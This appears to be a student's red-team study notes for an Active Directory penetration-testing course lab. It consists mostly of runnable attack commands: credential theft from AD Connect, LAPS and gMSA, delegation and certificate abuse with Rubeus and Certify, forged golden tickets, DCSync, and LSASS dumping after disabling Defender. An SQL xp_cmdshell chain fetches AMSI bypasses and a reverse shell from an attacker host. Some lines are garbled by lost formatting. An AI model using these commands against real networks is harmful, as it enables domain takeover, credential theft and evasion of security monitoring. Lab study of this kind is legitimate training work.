CRTP Notes
Notes I wrote while studying for the CRTP course and fully compromising the lab.
These notes are a continuation of CRTP (Certified Red Team Professional) Notes.
This course is made for assumed breach scenarios.
RunWithRegistryNonAdmin.bat
instead of RunWithPathAsAdmin.bat
RunWithPathAsAdmin.bat
modifies HKLMexit
command when you are done to clean upAmsiTrigger_x64.exe -i C:\PATH\TO\script.ps1
DefenderCheck.exe C:\PATH\TO\script.ps1
Can be integrated with on-prem AD using AD connect using one of the methods:
MSOL_<RANDOM_ID>
that performs a DCSync every two minutesGet User and Extract Creds
# PowerView
Get-DomainUser -Identity "MSOL_*" -Domain 0xd4y.local
# AD Module
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" -Server 0xd4y.local -Properties * | select SamAccountName,Description | fl
# Source ADConnect PS Script
. .\adconnect.ps1
# Extract creds of MSOL_<ID> user
ADConnect
# Run CMD instance as MSOL_<ID> user
runas /user:0xd4y.local\MSOL_<ID> /netonly cmd
adconnect.ps1
runs powershell.exe
, so verbose logs are presentInvisi-Shell
to potentially bypass these logsCommand | Description |
(Get-DomainPolicyData).systemaccess | Use to get policy for tickets |
Get-DomainGPOComputerLocalGroupMapping | Get users that are in a local group for specified machine (use -Identity to specify machine) |
Get-DomainObjectACL -ResolveGUIDs | Enumerate ACL for specific object |
Get-ADGroup -Filter * -searchbase "OU=Mgmt,DC=us,DC=techcorp,DC=local" -Properties * | Get members in group in a specific OU |
net view \\some_server.local | Enumerate shares on some_server |
(Get-ADForest).Domains| %{Get-ADDomain -Server $_}|select name, domainsid | Get SID of all child forests and root forest in current forest |
Get-DnsServerZone -ZoneName some_forest.local |fl * | Get IP addresses of DCs in target (note you can also ping the DCs to find the IP if you already know the DC names) |
$env:UserDNSDomain | Get current forest name |
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
Get-CimInstance -ClassName Win32_DeviceGuard -Namespace
root\Microsoft\Windows\DeviceGuard
Get-MpComputerStatus|select IsTamperProtected
Get-ADTrust -Filter 'intraForest -ne $True' -Server (Get-ADForest).Name
to map all trusts of current forest(Get-ADForest).Domains | %{Get-ADTrust -Filter '(intraForest -ne $True) -and (ForestTransitive -ne $True)' -Server $_}
to map all external trustsGet-ForestDomain -Verbose | Get-DomainTrust | ?{$_.TrustAttributes -eq 'FILTER_SIDS'}
Provides centralized storage of local user passwords and periodically rotates passwords. Helps mitigate lateral movement by stopping reuse of passwords.
ms-mcs-admpwd
attribute is visible with Get-DomainComputer | Select-Object 'dnshostname','ms-mcs-admpwd' | Where-Object {$_."ms-mcs-admpwd" -ne $null}
Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | Where-Object {($.ObjectAceType -like 'ms-Mcs-AdmPwd') -and ($.ActiveDirect
oryRights -match 'ReadProperty')} | ForEach-Object {$_ | Add-Member NoteProperty 'IdentityName' $(Convert-SidToName $.SecurityIdentifier);$}
from PowerView to find OUs where LAPS is in useGet-ADComputer -Identity 0xd4y_machine -Properties ms-mcs-admpwd | select -ExpandProperty ms-mcs-admpwd
or PowerView’s Get-DomainObject -Identity 0xd4y_machine | select -ExpandProperty ms-mcs-admpwd
to get clear-text password of ms-mcs-admpwd
attributeWith the creds, you can then do:
winrs -r:0xd4y-machine -u:.\Administrator -p:'$ubscr1beTo0xd4y' hostname
net use x: \\0xd4y-machine\C$\Users\Public /user:notes\Administrator '$ubscr1beTo0xd4y'
## Then copy the files you need (e.g. NetLoader), perform port-forwarding, and load whatever you want
msds-ManagedPassword
attribute (stored in binary form of MSDS-MANAGEDPASSWORD_BLOB) Command | Description |
Get-ADServiceAccount -Filter * | Get all gMSA accounts (denoted with the object class msDS-GroupManagedServiceAccount ) |
Get-ADServiceAccount -Identity gmsa_account_0xd4y -Properties * | select PrincipalsAllowedToRetrieveManagedPassword | Get users that can read the msds-ManagedPassword attribute |
Converting gMSA Password to NTLM Hash
$PasswordBlob = (Get-ADServiceAccount -Identity 0xd4y -Properties msDS-ManagedPassword).'msDS-ManagedPassword'
Import-Module C:\PATH\TO\DSInternals.psd1
$decodedpwd = ConvertFrom-ADManagedPasswordBlob $PasswordBlob
ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword
S4U2Self does not work because it does not have TRUSTED_TO_AUTH_FOR_DELEGATION configured
Getting access to target_machine from original_machine
# Get machines with constrained delegation
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo
# Create new machine accouunt (use Powermad.ps1)
New-MachineAccount -MachineAccount new_machine_account
# Inject original machine account TGT in session
Rubeus.exe asktgt /user:machine_account$ /aes256:<MACHINE_ACCOUNT_AES256_KEY> /impersonateuser:Administrator /domain:notes.0xd4y.local /ptt /nowrap
# Configure TRUST_TO_AUTH_FOR_DELEGATION
Set-ADComputer -Identity original_machine_account$ -PrincipalsAllowedToDelegateToAccount new_machine_account$
# Convert password of new machine account to NTLM hash
Rubeus.exe hash /password:new_machine_account_pass
# Get TGS for service
Rubeus.exe s4u /impersonateuser:Administrator /user:new_machine_account$ /rc4:<NTLM_HASH> /msdsspn:cifs/original_machine.notes.0xd4y.local /nowrap
# Inject TGS in current session
Rubeus.exe s4u /tgs:<TGS> /user:original_machine_account$ /aes256:<MACHINE_ACCOUNT_AES256_KEY> /msdsspn:cifs/target_machine.notes.0xd4y.local /altservice:http /nowrap /ptt
winrs -remote:0xd4y_server -u:notes\0xd4y -p:Pl3as3Subscr1b3 <COMMAND>
With credentials, execute commands on remote machine like this:
$creds = Get-Credential
Invoke-Command -Credential $creds -ScriptBlock {whoami} -Computer 0xd4y_machine
opassth
with SafetyKatz
(instead of pth
) and aes256
instead of ntlm
to prevent detections by MDIrunas /netonly
opassth
is just the command specific to the modified Mimikatz version in the CRTE lab (modified version of pth
)GenericWrite
or GenericAll
on a computer, you can enable constrained delegation to laterally moveEnabling Constrained Delegation
# Enabled resource-based constrained delegation on target machine
Set-ADComputer -Identity target_machine -PrincipalsAllowedToDelegateToAccount owned_machine_account$
# Get hash of owned machine account
SafetyKatz "sekurlsa::ekeys"
# Get TGS for HTTP service by impersonating Admin
Rubeus.exe s4u /user:owned_machine_account$ /aes256:<owned_machine_account_hash> /msdsspn:http/target_machine /impersonateuser:Administrator /ptt
msDS-KeyCredentialLink
attribute to authenticate as another user or computer accountmsDS-KeyCredentialsLink
attribute contains raw public keys of certificate, and will still work even if the credentials of the user or computer account are modifiedGenericAll
or GenericWrite
are allowed to modify the msDS-KeyCredentialsLink
attribute on a target userTo abuse Shadow Credentials:
GenericWrite
or GenericAll
permissions on target objectAdding Shadow Credentials
# Add Shadow Credential on target object
Whisker.exe add /target:0xd4y_target_user
# Check if msDS-KeyCredentialsLink attribute present on target (use Get-DomainComputer in case of a computer account)
Get-DomainUser -Identity 0xd4y_target_user
ls cert:\LocalMachine\My
and then export it with ls cert:\LocalMachine\My\<THUMBPRINT> | Export-PfxCertificate -FilePath C:\PATH\TO\SAVE\cert.pfx -Password (ConvertTo-SecureString -String 'SubscribeTo0xd4y' -Force -AsPlainText)
Rubeus.exe asktgt /user:pawadmin /certificate:cert.pfx /password:SubscribeTo0xd4y /nowrap /ptt
AD CS can be abused to:
certify.exe find
)/vulnerable
flag only shows certificates in which domain users or default users group has enrollment rights Common misconfigurations:
Escalating to DA from CERT
# Get information for certs with msPKI-Certificates-Name-Flag set to ENROLLEE_SUPPLIES_SUBJECT
Certify.exe find /enrolleeSuppliesSubject
# Request cert, save text between BEGIN RSA PRIVATE KEY and END CERTIFICATE to a file (e.g. cert.pem)
Certify.exe request /ca:<CA_NAME> /template:<CERT_TEMPLATE> /altname:Administrator
# Convert to pfx and name password as Follow0xd4y
openssl.exe pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out admin.pfx
# Request TGT
Rubeus.exe asktgt /user:Administrator /certificate:admin.pfx /password:Follow0xd4y /nowrap /ptt
Add-ADGroupMember -Identity "MachineAdmins" -Members "0xd4y"
File transferring with creds
# Create shared folder between target machine (notes-0xd4y) and local machine
net use x: \\notes-0xd4y\C$\Users\Public /user:Administrator Pl34s3Subscr1be
# Copy files to target machine
echo F | xcopy C:\PATH\TO\Loader.exe x:\Loader.exe
echo F | xcopy C:\PATH\TO\SafetyKatz.exe x:\SafetyKatz.exe
# Delete shared folder
net use x: /d
Find-PSRemotingLocalAdminAccess
./Rubeus.exe asktgt /domain:notes.0xd4y.local /user:0xd4y /aes256:<AES256_KEY> /opsec /createnetonly:C:\Windows\System32\cmd.exe /show /ptt
Lateral Movement Using PSRemoting
$passwd = ConvertTo-SecureString 'Follow0xd4y' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("notes\0xd4y", $passwd)
$session = New-PSSession -ComputerName some_machine -Credential $creds
It is possible to perform kerberoast attacks across forest trusts
# PowerView
Get-DomainTrust | ?{$_.TrustAttributes -eq 'FILTER_SIDS'} | %{Get-DomainUser -SPN -Domain $_.TargetName}
# AD Module
Get-ADTrust -Filter 'IntraForest -ne $true' | %{Get-ADUser -Filter {ServicePrincpalName -ne "$null"} -Properties ServicePrincipalName -Server $_.Name}
# Get TGS of target user using only PS
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList some_svc/eu-file.eu.local@eu.local
tasklist.exe /FI "IMAGENAME eq lsass.exe"
rundll32.exe C:\windows\system32\comsvcs.dll, MiniDump <LSASS_PID> C:\PATH\TO\SAVE\lsass.dmp full
## Can also just do rundll32.exe C:\windows\system32\comsvcs.dll, MiniDump (Get-Process lsass).id C:\PATH\TO\SAVE\lsass.dmp full
Can abuse constrained delegation across forests if you already have a foothold across a forest trust.
# PowerView
Get-DomainUser -TrustedToAuth -Domain target_forest.local
Get-DomainComputer -TrustedToAuth -Domain target_forest.local
# AD Module
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo -Server target_forest.local
# Get creds for compromised user and request ldap altservice
./Rubeus.exe s4u /user:<OWNED_USER> /aes256:<OWNED_USER_HASH> /impersonateuser:administrator /msdsspn:CIFS/some_machine.other_forest.local
/altservice:LDAP /domain:other_forest.local /dc:some-dc.other_forest.local /ptt
# DCSync
./SharpKatz.exe --Command dcsync --user other_forest\krbtgt --Domain other_forest.local --DomainController some-dc.other_forest.local
netdom trust trustingforest /domain:other_forest.local /EnableTgtDelegation
Get-ADTrust -server other_forest.local -Filter *
although it could output false negatives and is less reliable in older versions (ensure you are using the right version of the AD Module which fixes this bug) /enablesidhistory:yes
you can attempt to access resources accessible to the specified RID as long as RID > 1000Get-ADTrust -Filter *
shows that the SIDFilteringForestAware
attribute is True, then SIDHistory filtering is enabled across the forest trustGetting Access to Other Groups
# Get groups in other_forest.local with RID > 1000
Get-ADGroup -Filter 'SID -ge "S-1-5-21-<ID>-1000"' -Server other_forest.local
# Forge inter-realm TGT using group
./BetterSafetyKatz.exe "kerberos::golden /user:Administrator /domain:0xd4y.local /sid:S-1-5-21-<ID> /rc4:<TRUST_TICKET_HASH> /service:krbtgt /target:other_forest.local /sids:S-1-5-21-<ID>-<RID> /ticket:C:\PATH\TO\SAVE\output.kirbi" "exit"
# Get TGS for service
./Rubeus.exe asktgs /ticket:C:\PATH\TO\output.kirbi /service:HTTP/some_machine.other_forest.local /dc:some-dc.other_forest.local /ptt
Find-ForeignGroup
or Find-ForeignUser
, or with AD Module’s Get-ADObject -Filter {objectClass -eq "foreignSecurityPrincipal"}
Get-ADGroup -Filter * -Properties Member -Server other_forest.local | ?{$_.Member -match '<SID>'}
Get-DomainUser -Domain other_forest.local |
?{$_.ObjectSid -eq '<SID>'}
to find user with particular SIDGenericAll
or GenercWrite
on identities cross-forest (principals added to these ACLs are not displayed in the ForeignSecurityPrincipals container)GenericAll
you can reset a user’s password with Set-DomainUserPassword -Identity 0xd4y -AccountPassword (ConvertTo-SecureString 'Follow0xd4y' -AsPlainText -Force) -Domain other_domain.local
Get-ADTrust -Filter *
Get-ADObject -Filter {objectClass -eq "foreignSecurityPrincipal"} -Server bastion.local
# Enumerate if PAM trust exists
$bastiondc = New-PSSession bastion-dc.bastion.local
Invoke-Command -ScriptBlock {Get-ADTruzst -Filter {(ForestTransitive -eq $True) -and (SIDFilteringQuarantined -eq $False)}} -Session $bastiondc
# Check members of Shadow Principals
Invoke-Command -ScriptBlock {Get-ADObject -SearchBase ("CN=Shadow Principal Configuration,CN=Services," + (Get-ADRootDSE).configurationNamingContext) -Filter * -Properties * | select Name,member,msDS-ShadowPrincipalSid | fl} -Session $bastiondc
# Configure WSMan to allow PSRemoting via IP Address
Set-Item WSMan:\localhost\Client\TrustedHosts * -Force
# PSRemote into prod_forest
Enter-PSSession <PROD_FOREST_IP_ADDRESS> -Authentication NegotiateWithImplicitCredential
Copy-Item -Path C:\Windows\System32\lsass.exe -FromSession $prodsession -Destination 'C:\Users\Administrator\lsass.exe'
to copy the lsass.exe file on the remote session to the local machineUse Invoke-SQLAudit
to find misconfigurations in SQL server
Get-SQLServerLinkCrawl -Instance us-mssql -Query 'exec master..xp_cmdshell ''powershell.exe -c "iex(iwr -UseBasicParsing <ATACKER_IP>/amsibypass.txt);iex(iwr -UseBasicParsing <ATACKER_IP>/sbloggingbypass.txt);iex(iwr -UseBasicParsing <ATACKER_IP>/reverse.ps1)"''' |select -ExpandProperty CustomQuery
rpcout
and xp_cmdshell
to be enabled on the SQL machinerpcout
and xp_cmdshell
on a SQL node as long as the user on which the target node is run is high-privileged (such as sa [system administrator]) Get-SQLInstanceDomain | Get-SQLServerInfo
to get information for SQL instances in current forestEnable RPC on SQL machine
Invoke-SqlCmd -Query "exec sp_serveroption @server='target-sqlsrv', @optname='rpc', @optvalue='TRUE'"
Invoke-SqlCmd -Query "exec sp_serveroption @server='target-sqlsrv', @optname='rpc out', @optvalue='TRUE'"
Invoke-SqlCmd -Query "EXECUTE ('sp_configure ''show advanced options'',1;reconfigure;') AT ""target-sqlsrv"""
Invoke-SqlCmd -Query "EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure') AT ""target-sqlsrv"""
May be possible to impersonate other users within an SQL instance if given the IMPERSONATE privilege and EXECUTE AS function.
Get-SQLquery -Instance target-sqlsrv -Query "SELECT distinct
b.name
FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'"
Performing Impersonation with SQLRecon
# Enabling advanced options
SQLRecon.exe -a Windows -s target-sqlsrv -m iquery -i sa -o "EXEC sp_configure 'show advanced options',1 RECONFIGURE"
# Enabling xp_cmdshell
SQLRecon.exe -a Windows -s target-sqlsrv -m iquery -i sa -o "EXEC sp_configure 'xp_cmdshell',1 RECONFIGURE"
# Running whoami on target
SQLRecon.exe -a Windows -s target-sqlsrv -m iquery -i sa -o "EXEC master..xp_cmdshell 'whoami'"
Get-SQLquery -Instance target-sqlsrv -Query "EXECUTE AS LOGIN = 'sa' EXEC master..xp_cmdshell 'whoami'"
Pros | Cons |
System.Management.Automation.dll lacks some security features for .NET applications / binaries | Potentially detected by AV / EDR |
Harder to deliver payload (need additional script for loading it into memory) | |
New process creation, can be detected by blue team |
The system cannot execute the specified program
(check with Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard
) rundll32.exe
to dump the LSASS process and then exfiltrate it (detected by Defender so make sure to turn it off with Set-MpPreference -DisableRealTimeMonitoring $true
)# Get lsass PID
tasklist /FI "IMAGENAME eq lsass.exe"
# Suppose the lsass pid is 716
rundll32.exe C:\windows\system32\comsvcs.dll, MiniDump 716 C:\PATH\TO\SAVE\lsass.dmp full
# Copy lsass.dmp to current machine
echo F | xcopy \\target_machine\C$\PATH\TO\lsass.dmp C:\PATH\TO\SAVE\lsass.dmp
# Dump creds from lsass.dmp
sekurlsa::minidump C:\PATH\TO\lsass.dmp
sekurlsa::ekeys
Account is sensitive and cannot be delegated
for sensitive accounts